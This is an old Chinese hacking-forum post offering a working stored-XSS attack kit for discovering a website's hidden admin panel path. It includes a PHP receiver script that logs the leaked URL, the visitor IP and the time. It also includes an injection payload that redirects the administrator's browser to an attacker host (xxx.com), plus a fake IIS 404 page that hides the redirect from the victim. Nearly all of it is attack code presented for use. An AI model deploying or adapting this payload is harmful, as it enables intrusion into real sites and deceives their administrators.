xss获取后台路径代码

显示全部楼层 · 2012-4-1 19:20:13

PHP接收代码cun.php：
[pre]<? $cun="URL:".$_GET["admin_name"]."--ip:".$HTTP_SERVER_VARS["REMOTE_ADDR"]."--".date("Y-m-d H:i:s")."\r\n"; fwrite(fopen("CUN.txt","ab"),$cun); ?> [/pre]

用于XSS的代码
"/><script>location.href="http://xxx.com/cun.php?"+window.location.href;</script><inputtype="hidden"name="
上面的的能够对付很多存在XSS的地方，这个XSS代码存在的缺点就是管理员后台打开直接就会跳到你接收后台地址的PHP地址页，所以为了迷惑管理员，在PHP最下面加上代码如下：
<!DOCTYPEHTMLPUBLIC"-//W3C//DTDHTML4.01//EN""http://www.w3.org/TR/html4/strict.dtd">

<HTML><HEAD><TITLE>无法找到该页</TITLE>

<METAHTTP-EQUIV="Content-Type"Content="text/html;charset=GB2312">

<STYLEtype="text/css">

BODY{font:9pt/12pt宋体}

H1{font:12pt/15pt宋体}

H2{font:9pt/12pt宋体}

A:link{color:red}

A:visited{color:maroon}

</STYLE>

</HEAD><BODY><TABLEwidth=500border=0cellspacing=10><TR><TD>
<h1>无法找到该页</h1>

您正在搜索的页面可能已经删除、更名或暂时不可用。

<hr>

<p>请尝试以下操作：</p>

<ul>

<li>确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。</li>

<li>如果通过单击链接而到达了该网页，请与网站管理员联系，通知他们该链接的格式不正确。

</li>

<li>单击<ahref="javascript:history.back(1)">后退</a>按钮尝试另一个链接。</li>

</ul>

<h2>HTTP错误404-文件或目录未找到。<br>Internet信息服务(IIS)</h2>

<hr>

<p>技术信息（为技术支持人员提供）</p>

<ul>

<li>转到<ahref="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft产品支持服务</a>并搜索包括“HTTP”和“404”的标题。</li>

<li>打开“IIS帮助”（可在IIS管理器(inetmgr)中访问），然后搜索标题为“网站设置”、“常规管理任务”和“关于自定义错误消息”的主题。</li>

</ul>
</TD></TR></TABLE></BODY></HTML>

*